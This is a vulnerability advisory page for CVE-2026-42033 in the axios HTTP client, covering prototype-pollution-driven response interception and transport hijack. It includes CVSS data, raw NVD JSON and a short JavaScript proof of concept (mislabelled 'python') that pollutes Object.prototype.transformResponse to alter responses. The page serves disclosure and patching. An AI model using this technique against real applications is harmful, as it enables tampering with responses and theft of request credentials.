CVE-2026-42033

Description

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process. This vulnerability is fixed in 1.15.1 and 0.31.1.

CVSS Details

CVSS Score

7.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE

Axios < 1.15.1

Axios < 0.31.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Proof of Concept for CVE-2026-42033
// Prerequisite: Prototype pollution must exist in the process
// This simulates pollution from another dependency

// 1. Pollute the prototype
Object.prototype.transformResponse = [
  (data) => {
    console.log('[PoC] Response intercepted via prototype pollution');
    // Modify the response data
    data.hijacked = true;
    return data;
  }
];

const axios = require('axios'); // Vulnerable version < 1.15.1

// 2. Make a request
axios.get('https://httpbin.org/get')
  .then(response => {
    // 3. Check if data was modified
    if (response.data.hijacked) {
      console.log('[PoC] Vulnerability confirmed: Response was modified.');
    } else {
      console.log('[PoC] Vulnerability not triggered.');
    }
  })
  .catch(err => console.error(err));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42033
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42033
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42033/
[4] VulDB https://vuldb.com/cve/CVE-2026-42033
[5] https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf
[6] https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42033", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:29.993", "lastModified": "2026-04-27T20:02:44.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}